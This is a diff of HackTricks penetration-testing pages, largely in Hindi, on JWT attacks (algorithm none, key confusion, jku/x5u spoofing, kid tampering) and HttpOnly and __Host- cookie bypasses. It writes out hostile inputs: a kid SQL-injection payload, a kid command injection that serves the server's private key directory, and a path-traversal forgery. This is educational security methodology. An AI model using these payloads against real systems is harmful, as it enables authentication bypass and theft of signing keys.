Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,18 +15,18 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अचूक को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_फ्लूएंट पोलिश लिखित और मौखिक आवश्यक है_)।
{% embed url="https://www.stmcyber.com/careers" %}
**इस पोस्ट का एक हिस्सा शानदार पोस्ट पर आधारित है:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**JWTs को पेंटेस्ट करने के लिए महान टूल का लेखक** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
**इस पोस्ट का एक भाग शानदार पोस्ट पर आधारित है:** [**https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology**](https://github.com/ticarpi/jwt\_tool/wiki/Attack-Methodology)\
**JWTs को पेंटेस्ट करने के लिए महान उपकरण के लेखक** [**https://github.com/ticarpi/jwt\_tool**](https://github.com/ticarpi/jwt\_tool)
### **Quick Wins**
[**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) को `All Tests!` मोड में चलाएँ और हरे लाइनों का इंतज़ार करें
Run [**jwt\_tool**](https://github.com/ticarpi/jwt\_tool) with mode `All Tests!` and wait for green lines
```bash
python3 jwt_tool.py -M at \
-t "https://api.example.com/api/v1/user/76bab5dd-9307-ab04-8123-fda81234245" \
@ -50,9 +50,9 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
यह जांचने के लिए कि क्या JWT का सिग्नेचर सत्यापित किया जा रहा है:
* एक त्रुटि संदेश ongoing verification का सुझाव देता है; verbose errors में संवेदनशील विवरणों की समीक्षा की जानी चाहिए।
* एक त्रुटि संदेश ongoing verification का सुझाव देता है; verbose errors में संवेदनशील विवरण की समीक्षा की जानी चाहिए।
* लौटाए गए पृष्ठ में परिवर्तन भी सत्यापन का संकेत देता है।
* कोई परिवर्तन नहीं होने पर कोई सत्यापन नहीं होता; यह तब होता है जब payload claims के साथ छेड़छाड़ करने का प्रयोग किया जाए
* कोई परिवर्तन नहीं होने पर कोई सत्यापन नहीं होता; यह तब होता है जब टेम्परिंग payload claims के साथ प्रयोग करने का समय होता है
### उत्पत्ति
@ -65,47 +65,47 @@ You can also use the [**Burp Extension SignSaboteur**](https://github.com/d0ge/s
जांचें कि क्या टोकन 24 घंटे से अधिक समय तक रहता है... शायद यह कभी समाप्त नहीं होता। यदि "exp" फ़ील्ड है, तो जांचें कि क्या सर्वर इसे सही तरीके से संभाल रहा है।
### Brute-force HMAC secret
### ब्रूट-फोर्स HMAC गुप्त
[**इस पृष्ठ को देखें।**](../generic-methodologies-and-resources/brute-force.md#jwt)
### एल्गोरिदम को None में बदलें
उपयोग किए गए एल्गोरिदम को "None" के रूप में सेट करें और सिग्नेचर भाग को हटा दें।
उपयोग किए गए एल्गोरिदम को "None" पर सेट करें और सिग्नेचर भाग को हटा दें।
इस भेद्यता को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए Burp एक्सटेंशन "JSON Web Token" का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" में रखने का विकल्प भी चुन सकते हैं)।
इस भेद्यता को आजमाने और JWT के अंदर विभिन्न मानों को बदलने के लिए Burp एक्सटेंशन "JSON Web Token" का उपयोग करें (अनुरोध को Repeater में भेजें और "JSON Web Token" टैब में आप टोकन के मानों को संशोधित कर सकते हैं। आप "Alg" फ़ील्ड के मान को "None" पर रखने का विकल्प भी चुन सकते हैं)।
### एल्गोरिदम RS256(asymmetric) को HS256(symmetric) में बदलें (CVE-2016-5431/CVE-2016-10555)
### एल्गोरिदम RS256 (असामान्य) को HS256 (सामान्य) में बदलें (CVE-2016-5431/CVE-2016-10555)
एल्गोरिदम HS256 प्रत्येक संदेश पर हस्ताक्षर करने और सत्यापित करने के लिए गुप्त कुंजी का उपयोग करता है।\
एल्गोरिदम RS256 संदेश पर हस्ताक्षर करने के लिए निजी कुंजी का उपयोग करता है और प्रमाणीकरण के लिए सार्वजनिक कुंजी का उपयोग करता है।
यदि आप एल्गोरिदम को RS256 से HS256 में बदलते हैं, तो बैक एंड कोड सार्वजनिक कुंजी को गुप्त कुंजी के रूप में उपयोग करता है और फिर सिग्नेचर को सत्यापित करने के लिए HS256 एल्गोरिदम का उपयोग करता है।
फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलते हुए हम एक मान्य सिग्नेचर बना सकते हैं। आप इसे निष्पादित करने वाले वेब सर्वर का प्रमाणपत्र प्राप्त कर सकते हैं:
फिर, सार्वजनिक कुंजी का उपयोग करते हुए और RS256 को HS256 में बदलते हुए, हम एक मान्य सिग्नेचर बना सकते हैं। आप इसे निष्पादित करते हुए वेब सर्वर का प्रमाणपत्र प्राप्त कर सकते हैं:
```bash
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
```
### New public key inside the header
एक हमलावर टोकन के हेडर में एक नया कुंजी एम्बेड करता है और सर्वर इस नए कुंजी का उपयोग सिग्नेचर को सत्यापित करने के लिए करता है (CVE-2018-0114).
An attacker embeds a new key in the header of the token and the server uses this new key to verify the signature (CVE-2018-0114).
यह "JSON Web Tokens" बर्प एक्सटेंशन के साथ किया जा सकता है।\
(अनुरोध को रिपीटर में भेजें, JSON Web Token टैब के अंदर "CVE-2018-0114" का चयन करें और अनुरोध भेजें)।
This can be done with the "JSON Web Tokens" Burp extension.\
(Send the request to the Repeater, inside the JSON Web Token tab select "CVE-2018-0114" and send the request).
### JWKS Spoofing
निर्देश JWT टोकनों की सुरक्षा का आकलन करने के लिए एक विधि का विवरण देते हैं, विशेष रूप से उन टोकनों के लिए जो "jku" हेडर क्लेम का उपयोग करते हैं। यह क्लेम एक JWKS (JSON Web Key Set) फ़ाइल से लिंक होना चाहिए जिसमें टोकन के सत्यापन के लिए आवश्यक सार्वजनिक कुंजी होती है।
The instructions detail a method to assess the security of JWT tokens, particularly those employing a "jku" header claim. This claim should link to a JWKS (JSON Web Key Set) file that contains the public key necessary for the token's verification.
* **"jku" हेडर के साथ टोकनों का आकलन**:
* सुनिश्चित करें कि "jku" क्लेम का URL उचित JWKS फ़ाइल की ओर ले जाता है।
* टोकन के "jku" मान को एक नियंत्रित वेब सेवा की ओर निर्देशित करने के लिए संशोधित करें, जिससे ट्रैफ़िक अवलोकन की अनुमति मिल सके।
* **HTTP इंटरैक्शन की निगरानी**:
* आपके निर्दिष्ट URL पर HTTP अनुरोधों का अवलोकन करना सर्वर के आपके प्रदान किए गए लिंक से कुंजी प्राप्त करने के प्रयासों को इंगित करता है।
* इस प्रक्रिया के लिए `jwt_tool` का उपयोग करते समय, परीक्षण को सुविधाजनक बनाने के लिए अपने व्यक्तिगत JWKS स्थान के साथ `jwtconf.ini` फ़ाइल को अपडेट करना महत्वपूर्ण है।
* **`jwt_tool` के लिए कमांड**:
* `jwt_tool` के साथ परिदृश्य का अनुकरण करने के लिए निम्नलिखित कमांड निष्पादित करें:
* **Assessing Tokens with "jku" Header**:
* Verify the "jku" claim's URL to ensure it leads to the appropriate JWKS file.
* Modify the token's "jku" value to direct towards a controlled web service, allowing traffic observation.
* **Monitoring for HTTP Interaction**:
* Observing HTTP requests to your specified URL indicates the server's attempts to fetch keys from your provided link.
* When employing `jwt_tool` for this process, it's crucial to update the `jwtconf.ini` file with your personal JWKS location to facilitate the testing.
* **Command for `jwt_tool`**:
* Execute the following command to simulate the scenario with `jwt_tool`:
```bash
python3 jwt_tool.py JWT_HERE -X s
@ -113,15 +113,15 @@ python3 jwt_tool.py JWT_HERE -X s
### Kid Issues Overview
एक वैकल्पिक हेडर क्लेम जिसे `kid` कहा जाता है, एक विशिष्ट कुंजी की पहचान के लिए उपयोग किया जाता है, जो उन वातावरणों में विशेष रूप से महत्वपूर्ण होता है जहां टोकन सिग्नेचर सत्यापन के लिए कई कुंजियाँ होती हैं। यह क्लेम एक टोकन के सिग्नेचर को सत्यापित करने के लिए उपयुक्त कुंजी का चयन करने में मदद करता है।
An optional header claim known as `kid` is utilized for identifying a specific key, which becomes particularly vital in environments where multiple keys exist for token signature verification. This claim assists in selecting the appropriate key to verify a token's signature.
#### Revealing Key through "kid"
जब हेडर में `kid` क्लेम मौजूद होता है, तो संबंधित फ़ाइल या इसके भिन्नताओं के लिए वेब निर्देशिका में खोजने की सलाह दी जाती है। उदाहरण के लिए, यदि `"kid":"key/12345"` निर्दिष्ट किया गया है, तो फ़ाइलें _/key/12345_ और _/key/12345.pem_ को वेब रूट में खोजा जाना चाहिए।
When the `kid` claim is present in the header, it's advised to search the web directory for the corresponding file or its variations. For instance, if `"kid":"key/12345"` is specified, the files _/key/12345_ and _/key/12345.pem_ should be searched for in the web root.
#### Path Traversal with "kid"
`kid` क्लेम का उपयोग फ़ाइल सिस्टम के माध्यम से नेविगेट करने के लिए भी किया जा सकता है, जिससे एक मनमाना फ़ाइल का चयन करने की संभावना हो सकती है। विशेष फ़ाइलों या सेवाओं को लक्षित करने के लिए `kid` मान को बदलकर कनेक्टिविटी का परीक्षण करना या सर्वर-साइड अनुरोध धोखाधड़ी (SSRF) हमले करना संभव है। मूल सिग्नेचर को बनाए रखते हुए `kid` मान को बदलने के लिए JWT के साथ छेड़छाड़ `jwt_tool` में `-T` ध्वज का उपयोग करके की जा सकती है, जैसा कि नीचे दिखाया गया है:
The `kid` claim might also be exploited to navigate through the file system, potentially allowing the selection of an arbitrary file. It's feasible to test for connectivity or execute Server-Side Request Forgery (SSRF) attacks by altering the `kid` value to target specific files or services. Tampering with the JWT to change the `kid` value while retaining the original signature can be achieved using the `-T` flag in jwt\_tool, as demonstrated below:
```bash
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
```
@ -129,15 +129,15 @@ By targeting files with predictable content, it's possible to forge a valid JWT.
#### SQL Injection via "kid"
यदि `kid` क्लेम की सामग्री का उपयोग किसी डेटाबेस से पासवर्ड प्राप्त करने के लिए किया जाता है, तो `kid` पेलोड को संशोधित करके SQL इंजेक्शन को सक्षम किया जा सकता है। SQL इंजेक्शन का एक उदाहरण पेलोड जो JWT साइनिंग प्रक्रिया को बदलता है, में शामिल है:
If the `kid` claim's content is employed to fetch a password from a database, an SQL injection could be facilitated by modifying the `kid` payload. An example payload that uses SQL injection to alter the JWT signing process includes:
`non-existent-index' UNION SELECT 'ATTACKER';-- -`
यह परिवर्तन JWT साइनिंग के लिए एक ज्ञात गुप्त कुंजी, `ATTACKER`, के उपयोग को मजबूर करता है।
This alteration forces the use of a known secret key, `ATTACKER`, for JWT signing.
#### OS Injection through "kid"
एक परिदृश्य जहां `kid` पैरामीटर एक फ़ाइल पथ निर्दिष्ट करता है जो एक कमांड निष्पादन संदर्भ में उपयोग किया जाता है, रिमोट कोड निष्पादन (RCE) कमजोरियों की ओर ले जा सकता है। `kid` पैरामीटर में कमांड इंजेक्ट करके, निजी कुंजियों को उजागर करना संभव है। RCE और कुंजी उजागर करने के लिए एक उदाहरण पेलोड है:
A scenario where the `kid` parameter specifies a file path used within a command execution context could lead to Remote Code Execution (RCE) vulnerabilities. By injecting commands into the `kid` parameter, it's possible to expose private keys. An example payload for achieving RCE and key exposure is:
`/root/res/keys/secret7.key; cd /root/res/keys/ && python -m SimpleHTTPServer 1337&`
@ -145,10 +145,10 @@ By targeting files with predictable content, it's possible to forge a valid JWT.
#### jku
jku का अर्थ है **JWK सेट URL**\
यदि टोकन एक “**jku**” **हेडर** क्लेम का उपयोग करता है तो **प्रदान किए गए URL की जांच करें**। यह उस URL की ओर इशारा करना चाहिए जिसमें JWKS फ़ाइल हो जो टोकन को सत्यापित करने के लिए सार्वजनिक कुंजी रखती है। टोकन को इस तरह से बदलें कि jku मान एक वेब सेवा की ओर इशारा करे जिसे आप ट्रैफ़िक के लिए मॉनिटर कर सकते हैं।
jku stands for **JWK Set URL**.\
If the token uses a “**jku**” **Header** claim then **check out the provided URL**. This should point to a URL containing the JWKS file that holds the Public Key for verifying the token. Tamper the token to point the jku value to a web service you can monitor traffic for.
पहले आपको नए निजी और सार्वजनिक कुंजियों के साथ एक नया प्रमाणपत्र बनाना होगा।
First you need to create a new certificate with new private & public keys.
```bash
openssl genrsa -out keypair.pem 2048
openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -167,20 +167,20 @@ print("e:", hex(key.e))
```
#### x5u
X.509 URL. एक URI जो X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के सेट की ओर इशारा करता है जो PEM रूप में एन्कोडेड हैं। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT पर हस्ताक्षर करने के लिए किया गया है। इसके बाद के प्रमाणपत्र प्रत्येक पिछले पर हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा की आवश्यकता होती है।
X.509 URL. एक URI जो X.509 (एक प्रमाणपत्र प्रारूप मानक) सार्वजनिक प्रमाणपत्रों के सेट की ओर इशारा करता है जो PEM रूप में एन्कोडेड हैं। सेट में पहला प्रमाणपत्र वह होना चाहिए जिसका उपयोग इस JWT पर हस्ताक्षर करने के लिए किया गया है। बाद के प्रमाणपत्र प्रत्येक पिछले पर हस्ताक्षर करते हैं, इस प्रकार प्रमाणपत्र श्रृंखला को पूरा करते हैं। X.509 को RFC 52807 में परिभाषित किया गया है। प्रमाणपत्रों को स्थानांतरित करने के लिए परिवहन सुरक्षा की आवश्यकता होती है।
कोशिश करें कि **इस हेडर को एक URL में बदलें जो आपके नियंत्रण में हो** और जांचें कि क्या कोई अनुरोध प्राप्त होता है। उस मामले में आप **JWT को छेड़ सकते हैं**
आपके द्वारा नियंत्रित प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए, आपको प्रमाणपत्र बनाना होगा और सार्वजनिक और निजी कुंजियों को निकालना होगा:
एक प्रमाणपत्र का उपयोग करके एक नया टोकन बनाने के लिए जिसे आप नियंत्रित करते हैं, आपको प्रमाणपत्र बनाना होगा और सार्वजनिक और निजी कुंजियों को निकालना होगा:
```bash
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -out attacker.crt
openssl x509 -pubkey -noout -in attacker.crt > publicKey.pem
```
फिर आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं **नए JWT को बनाने के लिए जो कि बनाए गए सार्वजनिक और निजी कुंजियों के साथ है और पैरामीटर x5u को बनाए गए प्रमाणपत्र .crt की ओर इंगित करता है।**
फिर आप उदाहरण के लिए [**jwt.io**](https://jwt.io) का उपयोग कर सकते हैं ताकि **बनाए गए सार्वजनिक और निजी कुंजियों के साथ नया JWT बनाया जा सके और पैरामीटर x5u को बनाए गए प्रमाणपत्र .crt की ओर इंगित किया जा सके।**
![](<../.gitbook/assets/image (956).png>)
आप इन दोनों कमजोरियों का भी दुरुपयोग कर सकते हैं **SSRFs के लिए**
आप इन दोनों कमजोरियों का **SSRFs** के लिए भी दुरुपयोग कर सकते हैं।
#### x5c
@ -231,7 +231,7 @@ Finally, using the public and private key and the new "n" and "e" values you can
यदि कुछ अनुप्रयोग ES256 का उपयोग करते हैं और दो jwts उत्पन्न करने के लिए समान nonce का उपयोग करते हैं, तो निजी कुंजी को पुनर्स्थापित किया जा सकता है।
यहाँ एक उदाहरण है: [ECDSA: यदि समान nonce का उपयोग किया गया है तो निजी कुंजी का खुलासा करना (SECP256k1 के साथ)](https://asecuritysite.com/encryption/ecd5)
यहाँ एक उदाहरण है: [ECDSA: यदि समान nonce का उपयोग किया गया (SECP256k1 के साथ) तो निजी कुंजी का खुलासा करना](https://asecuritysite.com/encryption/ecd5)
### JTI (JWT ID)
@ -252,7 +252,7 @@ JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद
**टोकनों की समाप्ति जांच**
टोकन की समाप्ति "exp" Payload दावा का उपयोग करके जांची जाती है। यह देखते हुए कि JWT अक्सर सत्र की जानकारी के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है। कई मामलों में, किसी अन्य उपयोगकर्ता के JWT को कैप्चर करना और पुनः खेलना उस उपयोगकर्ता की नकल करने में सक्षम कर सकता है। JWT RFC JWT पुनः खेलने के हमलों को कम करने के लिए "exp" दावा का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करने की सिफारिश करता है। इसके अलावा, इस मान की प्रक्रिया सुनिश्चित करने और समाप्त टोकनों को अस्वीकार करने के लिए अनुप्रयोग द्वारा प्रासंगिक जांच का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएँ अनुमति देती हैं, तो टोकन को संग्रहीत करना और समाप्ति समय बीतने के बाद इसे पुनः खेलना सलाह दी जाती है। टोकन की सामग्री, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच (UTC में टाइमस्टैम्प) शामिल है, jwt_tool के -R ध्वज का उपयोग करके पढ़ी जा सकती है।
टोकन की समाप्ति "exp" Payload दावा का उपयोग करके जांची जाती है। यह देखते हुए कि JWT अक्सर सत्र की जानकारी के बिना उपयोग किए जाते हैं, सावधानीपूर्वक हैंडलिंग की आवश्यकता होती है। कई मामलों में, किसी अन्य उपयोगकर्ता के JWT को कैप्चर और पुनः खेलना उस उपयोगकर्ता की नकल करने में सक्षम कर सकता है। JWT RFC JWT पुनः खेल हमलों को कम करने की सिफारिश करता है "exp" दावा का उपयोग करके टोकन के लिए एक समाप्ति समय सेट करने के लिए। इसके अलावा, इस मान की प्रक्रिया सुनिश्चित करने और समाप्त टोकनों को अस्वीकार करने के लिए अनुप्रयोग द्वारा प्रासंगिक जांच का कार्यान्वयन महत्वपूर्ण है। यदि टोकन में "exp" दावा शामिल है और परीक्षण समय सीमाएँ अनुमति देती हैं, तो टोकन को संग्रहीत करना और समाप्ति समय बीतने के बाद इसे पुनः खेलना सलाह दी जाती है। टोकन की सामग्री, जिसमें टाइमस्टैम्प पार्सिंग और समाप्ति जांच (UTC में टाइमस्टैम्प) शामिल है, को jwt_tool के -R ध्वज का उपयोग करके पढ़ा जा सकता है।
* यदि अनुप्रयोग अभी भी टोकन को मान्य करता है, तो एक सुरक्षा जोखिम हो सकता है, क्योंकि इसका अर्थ हो सकता है कि टोकन कभी समाप्त नहीं हो सकता।
@ -260,15 +260,15 @@ JTI (JWT ID) दावा एक JWT टोकन के लिए एक अद
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,8 +1,8 @@
# Cookies Hacking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
@ -15,18 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
## Cookie Attributes
कुकीज़ कई विशेषताओं के साथ आती हैं जो उनके व्यवहार को उपयोगकर्ता के ब्राउज़र में नियंत्रित करती हैं। यहाँ इन विशेषताओं का एक संक्षिप्त विवरण है:
कुकीज़ कई विशेषताओं के साथ आती हैं जो उपयोगकर्ता के ब्राउज़र में उनके व्यवहार को नियंत्रित करती हैं। यहाँ इन विशेषताओं का एक संक्षिप्त विवरण है:
### Expires and Max-Age
कुकी की समाप्ति तिथि `Expires` विशेषता द्वारा निर्धारित की जाती है। इसके विपरीत, `Max-age` विशेषता उस समय को सेकंड में परिभाषित करती है जब तक एक कुकी हटा नहीं दी जाती। **`Max-age` का चयन करें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।**
कुकी की समाप्ति तिथि `Expires` विशेषता द्वारा निर्धारित होती है। इसके विपरीत, `Max-age` विशेषता उस समय को सेकंड में परिभाषित करती है जब तक एक कुकी हटा नहीं दी जाती। **`Max-age` का चयन करें क्योंकि यह अधिक आधुनिक प्रथाओं को दर्शाता है।**
### Domain
कुकी प्राप्त करने वाले होस्ट को `Domain` विशेषता द्वारा निर्दिष्ट किया जाता है। डिफ़ॉल्ट रूप से, इसे उस होस्ट पर सेट किया जाता है जिसने कुकी जारी की, इसके उपडोमेन को शामिल नहीं किया जाता है। हालाँकि, जब `Domain` विशेषता स्पष्ट रूप से सेट की जाती है, तो यह उपडोमेन को भी शामिल करती है। यह `Domain` विशेषता के निर्दिष्ट करने को एक कम प्रतिबंधात्मक विकल्प बनाता है, जो उन परिदृश्यों के लिए उपयोगी है जहाँ उपडोमेन के बीच कुकी साझा करना आवश्यक है। उदाहरण के लिए, `Domain=mozilla.org` सेट करने से इसकी उपडोमेन जैसे `developer.mozilla.org` पर कुकीज़ सुलभ हो जाती हैं।
कुकी प्राप्त करने वाले होस्ट `Domain` विशेषता द्वारा निर्दिष्ट होते हैं। डिफ़ॉल्ट रूप से, यह उस होस्ट पर सेट होता है जिसने कुकी जारी की, इसके उपडोमेन को शामिल नहीं करता। हालाँकि, जब `Domain` विशेषता स्पष्ट रूप से सेट की जाती है, तो यह उपडोमेन को भी शामिल करती है। यह `Domain` विशेषता के निर्दिष्ट करने को एक कम प्रतिबंधात्मक विकल्प बनाता है, जो उन परिदृश्यों के लिए उपयोगी है जहाँ उपडोमेन के बीच कुकी साझा करना आवश्यक है। उदाहरण के लिए, `Domain=mozilla.org` सेट करने से इसकी उपडोमेन जैसे `developer.mozilla.org` पर कुकीज़ सुलभ हो जाती हैं।
### Path
@ -73,10 +72,10 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
#### **Bypasses**
* यदि पृष्ठ **अनुरोधों के उत्तर के रूप में कुकीज़ भेज रहा है** (उदाहरण के लिए एक **PHPinfo** पृष्ठ में), तो XSS का दुरुपयोग करके इस पृष्ठ पर अनुरोध भेजना और **उत्तर से कुकीज़ चुराना** संभव है (एक उदाहरण देखें [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)).
* इसे **TRACE** **HTTP** अनुरोधों के साथ बायपास किया जा सकता है क्योंकि सर्वर से उत्तर कुकीज़ को दर्शाएगा। इस तकनीक को **Cross-Site Tracking** कहा जाता है।
* आधुनिक ब्राउज़रों द्वारा **JS से TRACE** अनुरोध भेजने की अनुमति न देकर इस तकनीक को टाला जाता है। हालाँकि, IE6.0 SP2 के लिए `TRACE` के बजाय `\r\nTRACE` भेजने जैसे कुछ बायपास विशेष सॉफ़्टवेयर में पाए गए हैं।
* इसे **TRACE** **HTTP** अनुरोधों के साथ बायपास किया जा सकता है क्योंकि सर्वर से उत्तर में भेजी गई कुकीज़ को दर्शाया जाएगा (यदि यह HTTP विधि उपलब्ध है)। इस तकनीक को **Cross-Site Tracking** कहा जाता है।
* आधुनिक ब्राउज़रों द्वारा **JS से TRACE** अनुरोध भेजने की अनुमति न देकर इस तकनीक को टाला जाता है। हालाँकि, IE6.0 SP2 के लिए `TRACE` के बजाय `\r\nTRACE` भेजने जैसे विशिष्ट सॉफ़्टवेयर में कुछ बायपास पाए गए हैं।
* एक और तरीका ब्राउज़रों की शून्य/दिन की कमजोरियों का शोषण करना है।
* कुकी जार ओवरफ्लो हमले को अंजाम देकर **HttpOnly कुकीज़ को ओवरराइट करना** संभव है:
* एक कुकी जार ओवरफ्लो हमले को अंजाम देकर **HttpOnly कुकीज़ को ओवरराइट करना** संभव है:
{% content-ref url="cookie-jar-overflow.md" %}
[cookie-jar-overflow.md](cookie-jar-overflow.md)
@ -99,17 +98,17 @@ Table from [Invicti](https://www.netsparker.com/blog/web-security/same-site-cook
* इन्हें एक डोमेन निर्दिष्ट करने की अनुमति नहीं है, जिससे उपडोमेन में उनके संचरण को रोका जा सके।
* इन कुकीज़ के लिए पथ को `/` पर सेट किया जाना चाहिए।
यह ध्यान रखना महत्वपूर्ण है कि `__Host-` से प्रारंभ होने वाली कुकीज़ को सुपरडोमेन या उपडोमेन में भेजने की अनुमति नहीं है। यह प्रतिबंध एप्लिकेशन कुकीज़ को अलग करने में मदद करता है। इसलिए, सभी एप्लिकेशन कुकीज़ के लिए `__Host-` उपसर्ग का उपयोग करना सुरक्षा और अलगाव को बढ़ाने के लिए एक अच्छी प्रथा मानी जा सकती है।
यह महत्वपूर्ण है कि `__Host-` से प्रारंभ होने वाली कुकीज़ को सुपरडोमेन या उपडोमेन में भेजने की अनुमति नहीं है। यह प्रतिबंध एप्लिकेशन कुकीज़ को अलग करने में मदद करता है। इसलिए, सभी एप्लिकेशन कुकीज़ के लिए `__Host-` उपसर्ग का उपयोग करना सुरक्षा और अलगाव को बढ़ाने के लिए एक अच्छी प्रथा मानी जा सकती है।
### Overwriting cookies
तो, `__Host-` उपसर्ग वाली कुकीज़ की एक सुरक्षा यह है कि उन्हें उपडोमेन से ओवरराइट होने से रोका जा सके। उदाहरण के लिए [**Cookie Tossing attacks**](cookie-tossing.md) को रोकना। वार्ता [**Cookie Crumbles: Unveiling Web Session Integrity Vulnerabilities**](https://www.youtube.com/watch?v=F\_wAzF4a7Xg) ([**paper**](https://www.usenix.org/system/files/usenixsecurity23-squarcina.pdf)) में प्रस्तुत किया गया है कि उपडोमेन से \_\_HOST- उपसर्ग वाली कुकीज़ सेट करना संभव था, पार्सर को धोखा देकर, उदाहरण के लिए, "=" को शुरुआत या अंत में जोड़कर...:
<figure><img src="../../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
या PHP में कुकी नाम के प्रारंभ में **अन्य वर्ण जोड़ना** संभव था जो **अंडरस्कोर** वर्णों द्वारा **बदले जाने वाले थे**, जिससे `__HOST-` कुकीज़ को ओवरराइट करने की अनुमति मिलती थी:
या PHP में कुकी नाम क**शुरुआत में अन्य वर्ण जोड़ना** संभव था जो **अंडरस्कोर** वर्णों द्वारा **बदल दिए जाएंगे**, जिससे `__HOST-` कुकीज़ को ओवरराइट करने की अनुमति मिलती है:
<figure><img src="../../.gitbook/assets/image (7) (1).png" alt="" width="373"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (7) (1) (1).png" alt="" width="373"><figcaption></figcaption></figure>
## Cookies Attacks
